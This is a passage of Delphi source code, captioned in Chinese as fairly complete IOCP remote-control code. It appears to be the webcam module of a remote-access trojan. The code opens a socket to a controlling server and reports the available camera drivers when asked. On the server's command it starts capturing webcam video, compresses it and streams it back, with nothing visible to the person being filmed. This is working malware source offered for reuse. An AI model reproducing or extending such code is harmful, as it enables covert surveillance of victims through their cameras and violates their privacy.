capturemediaunit.pas

delphi源代码。iocp远控比较完整的代码

  out Issucess : Boolean; const ServerPerIODataP : DWORD; const WebCamIndex : byte = 0);
begin
  IsSucess := True;
  // Create a socket.
  VedioSocket := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (VedioSocket = INVALID_SOCKET) then
  begin
    CloseSocket(VedioSocket);
    IsSucess := False;
    Exit;
  end;
  //connect to server
  if (Connect(VedioSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR) then
  begin
    CloseSocket(VedioSocket);
    IsSucess := False;
    Exit;
  end;
  RemoteSystemInfo.RemoteDataType := RemoteVideoData;
  RemoteSystemInfo.PerIODataPointer := ServerPerIODataP;
  //发送信息
  SendAllTheData(VedioSocket, @RemoteSystemInfo, SizeOf(RemoteSystemInfo));
  //创建事件
  SendVedioNotifyEvent := CreateEvent(nil, False, False, 'SendVedioNotifyEvent');
  //绑定新的事件
  VedioSocketWsaEvent := WSACreateEvent;
  WSAEventSelect(VedioSocket, VedioSocketWsaEvent, FD_READ or FD_WRITE or FD_CLOSE); 
  if Issucess then
  begin
    DectectVideoSockeThreadtHandle := CreateThread(nil, 0, @GlobleDectectVideoSockeProcess,
      Pointer(Self), 0, DectectVideoSockeThreadID);
  end;
end;

//类的free
destructor TCaptureVideo.Destroy;
begin
  try
    if DectectVideoSockeThreadtHandle <> 0 then
    begin
      TerminateThread(DectectVideoSockeThreadtHandle, 0);
      CloseHandle(DectectVideoSockeThreadtHandle);
    end;
    //关闭socket
    ShutDown(VedioSocket, SD_BOTH);
    CloseSocket(VedioSocket);
    //取消绑定,
    WSAEventSelect(VedioSocket, 0, 0);
    WSACloseEvent(VedioSocketWsaEvent);
    //关闭事件
    CloseHandle(SendVedioNotifyEvent);
    //free掉类
    if m_ViCap <> nil then
      m_ViCap.Free;
    if m_CodecMgr <> nil then
      m_CodecMgr.Free;
    if FEnumProcInst <> nil then
      FreeProcInstance(FEnumProcInst);
    inherited;
  except

  end;
end;

//检测socket状态
procedure TCaptureVideo.DectectVideoSockeProcess;
var
  myWSANETWORKEVENTS : WSANETWORKEVENTS;
  myDataHeaderInfo : TDataHeaderInfo;
  myInterChangeHeader : TInterChangeHeader;
  ActuallySentSizePerPakage : integer;
  WaitResult : DWord;
  //列表信息内存和回复命令的头信息
  OrderRelayMem : PChar;
  ReplayType : DWORD;
  myVideoWidth, myVideoHeight : integer;
  ImageQuality : integer;
  SystemBitmapInfo : TBitmapInfo;
  //错误控制
  IsError : Boolean;
label RET;
begin
  while True do
  begin
    WaitResult := WSAWaitForMultipleEvents(1, @VedioSocketWsaEvent, False, 100, False);
    //如果超时，则继续下一个循环
    if WaitResult >= WSA_WAIT_TIMEOUT then
    begin
      Continue;
    end;
    //查询网络事件类型
    ZeroMemory(@myWSANETWORKEVENTS, SizeOf(myWSANETWORKEVENTS));
    WSAEnumNetworkEvents(VedioSocket, VedioSocketWsaEvent, @myWSANETWORKEVENTS);
    //当前的socket可以读数据了
    if (myWSANETWORKEVENTS.lNetWorkEvents and FD_READ) > 0 then
    begin
      if myWSANETWORKEVENTS.iErrorCode[FD_READ_BIT] <> 0 then
      begin
        Continue;
      end; 
      //先接收8个字节，来判断接下来的文件大小和解压后的大小，并申请内存
      if RecvAllData(VedioSocket, @myDataHeaderInfo, SizeOf(myDataHeaderInfo),
        ActuallySentSizePerPakage) = SOCKET_ERROR then
      begin
        Break;
      end;
      //再接收真正的数据
      if RecvAllData(VedioSocket, @myInterChangeHeader, myDataHeaderInfo.CompressedDataSize,
        ActuallySentSizePerPakage) = SOCKET_ERROR then
      begin
        Break;
      end;
      case myInterChangeHeader.Order of
        StartCapVideo:
        begin
          //设置设备序号
          pVideoDeviceIndex := myInterChangeHeader.OrderExtend;
          //设置视频大小
          case myInterChangeHeader.ExdSource of
            0:
            begin
              myVideoWidth := 176;
              myVideoHeight := 144;
            end;
            1:
            begin
              myVideoWidth := 352;
              myVideoHeight := 288;
            end;
            else
            begin
              myVideoWidth := 176;
              myVideoHeight := 144;
            end;
          end;
          //设置压缩率
          ImageQuality := ICQUALITY_DEFAULT;
          case myInterChangeHeader.ExdDest of
            0:
              ImageQuality := ICQUALITY_HIGH;
            1:
              ImageQuality := ICQUALITY_DEFAULT;
            2:
              ImageQuality := ICQUALITY_LOW;
          end;
          IsError := False;
          //视频截取准备单元类
          m_ViCap := TVideoInitial.create;
          if not m_ViCap.Init then
            goto RET;
          hCap := m_ViCap.GetCapWindow;
          //连接到驱动
          if not m_ViCap.ConnectToDriver(pVideoDeviceIndex) then
            goto RET;
          //得到系统默认的摄像头图像头
          ZeroMemory(@SystemBitmapInfo, sizeof(SystemBitmapInfo));
          if capGetVideoFormat(hCap, @SystemBitmapInfo, sizeof(SystemBitmapInfo)) = 0 then
            goto RET;
          //重置图像头数据
          SystemBitmapInfo.bmiHeader.biWidth := myVideoWidth;
          SystemBitmapInfo.bmiHeader.biHeight := myVideoHeight;
          //---------------------注意这里没有考虑4和1bit的情况
          SystemBitmapInfo.bmiHeader.biSizeImage := myVideoWidth * myVideoHeight *
            SystemBitmapInfo.bmiHeader.biBitCount div 8;
          //创建编码单元类和视频初始化类
          m_CodecMgr := TCodecCls.Create(SystemBitmapInfo);
          //设置压缩质量
          m_CodecMgr.m_cv.lQ := ImageQuality;
          //初始化视频编码解码器
          if not m_CodecMgr.InitCodecV then
            goto RET;
        RET:
          if IsError then
          begin
            ReplayType := VideoCodeIniErrorReplay; 
            //发送反馈信息
            SendAllTheData(VedioSocket, @ReplayType, sizeof(ReplayType), 0, SendVedioNotifyEvent, VideoReplay); 
          end
          //将图像头发给server
          else 
          begin
            ReplayType := VideoSendBitmapInfoReplay;
            GetMem(OrderRelayMem, sizeof(TBitmapInfo) + sizeof(ReplayType));
            //将描述头写入
            MoveMemory(OrderRelayMem, @ReplayType, sizeof(ReplayType));
            //将编码图像头写入
            MoveMemory(Pointer(DWORD(OrderRelayMem) + sizeof(ReplayType)),
              @SystemBitmapInfo, sizeof(TBitmapInfo));
            //发送
            SendAllTheData(VedioSocket, OrderRelayMem,
              sizeof(TBitmapInfo) + sizeof(ReplayType),
              0, SendVedioNotifyEvent, VideoReplay);
            FreeMem(OrderRelayMem);
          end;
          //等待server配置完成
          Sleep(200);
          //开始视频
          if not StartGetVideo(ImageQuality) then
            ReplayType := VideoStartErrorReplay
          else
            ReplayType := VideoStartSucessReplay;
          //发送反馈信息
          SendAllTheData(VedioSocket, @ReplayType, sizeof(ReplayType), 0, SendVedioNotifyEvent, VideoReplay);
        end;
        GetDriverList:
        begin
          //获取视频描述列表
          DetectWebCam(True);
          ReplayType := VideoDESCRIPListReplay;
          GetMem(OrderRelayMem, sizeof(DriverDescriptionArray) + sizeof(ReplayType));
          //将描述头写入
          MoveMemory(OrderRelayMem, @ReplayType, sizeof(ReplayType));
          //将驱动列表写入
          MoveMemory(Pointer(DWORD(OrderRelayMem) + sizeof(ReplayType)),
            @DriverDescriptionArray[0], sizeof(DriverDescriptionArray));
          //发送
          SendAllTheData(VedioSocket, OrderRelayMem,
            sizeof(DriverDescriptionArray) + sizeof(ReplayType),
            0, SendVedioNotifyEvent, VideoReplay);
        end;
      end;
    end;
    //当前的socket可以写数据了
    if (myWSANETWORKEVENTS.lNetWorkEvents and FD_WRITE) > 0 then
    begin
      if myWSANETWORKEVENTS.iErrorCode[FD_WRITE_BIT] <> 0 then
      begin
        Continue;
      end;
      SetEvent(SendVedioNotifyEvent);
    end;
    //远程socket关闭通知
    if (myWSANETWORKEVENTS.lNetWorkEvents and FD_CLOSE) > 0 then
    begin
      Break;
    end;
  end;
end;

//开始获取视频
function TCaptureVideo.StartGetVideo(const ImageQuality :integer = ICQUALITY_DEFAULT;
  const LVideoWidth : integer = 176; const LVideoHeigh : integer = 144): Boolean;
var
  bRet : Boolean;
  Method: TMethod;
label RET;
begin
  //类内函数实例化
  Method.Code := @TCaptureVideo.LcapVideoStreamCallback;
  Method.Data := Self;
  FEnumProcInst := MakeProcInstance(Method);
	bRet := FALSE;

  myCaptureVideo := Self;



	//设置视频流回调函数       FEnumProcInst
	if not capSetCallbackOnVideoStream(hCap, @capVideoStreamCallback) then
    goto RET;
  //设置错误回调函数
	if not capSetCallbackOnError(hCap, @capVideoErrorCallback) then
    goto RET; 
	//设置视频格式
	if not capSetVideoFormat(hCap, @m_CodecMgr.m_BmpU, sizeof(m_CodecMgr.m_BmpU)) then
    goto RET;
	//将user数据设为AVIOMgr对象指针@
	if not capSetUserData(hCap, DWORD(Self)) then
    goto RET;
	//开始视频流  ; capGrabFrameNoStop(hCap)
	if not capCaptureSequenceNoFile(hCap) then
		goto RET;
	bRet := TRUE;
RET:
	if not bRet then
		m_ViCap.DestroyStructure;
    result := bRet;
end;

//压缩视频流,并发送
procedure TCaptureVideo.EncodeVideoData(pv: PChar; len: integer;
  dwTimeCaptured: DWORD);
var
  rlen : integer;
  isKeyFrame : Boolean;
const msh263 = 3;
begin
  try
    if IsWindow(hCap) then
    begin
      isKeyFrame := False;
      if (m_CodecMgr.EncodeVideoData(pv, len, PChar(@FrameDataBuffer[0]),
        @rlen, @isKeyFrame, m_CodecMgr.m_BmpU, m_CodecMgr.m_cv)) then
      begin
        SendAllTheData(VedioSocket, @FrameDataBuffer[0], rlen, 0, SendVedioNotifyEvent);
      end;
    end;
  except

  end;
end;

//获取视频流的回调函数
function TCaptureVideo.LcapVideoStreamCallback(capHWnd : HWND; lpVHdr : PVIDEOHDR) : longint; stdcall;
begin
		//压缩视频数据
  Self.EncodeVideoData(PChar(lpVHdr^.lpData), lpVHdr^.dwBytesUsed, lpVHdr^.dwTimeCaptured);
	Result := 1;
end;

end.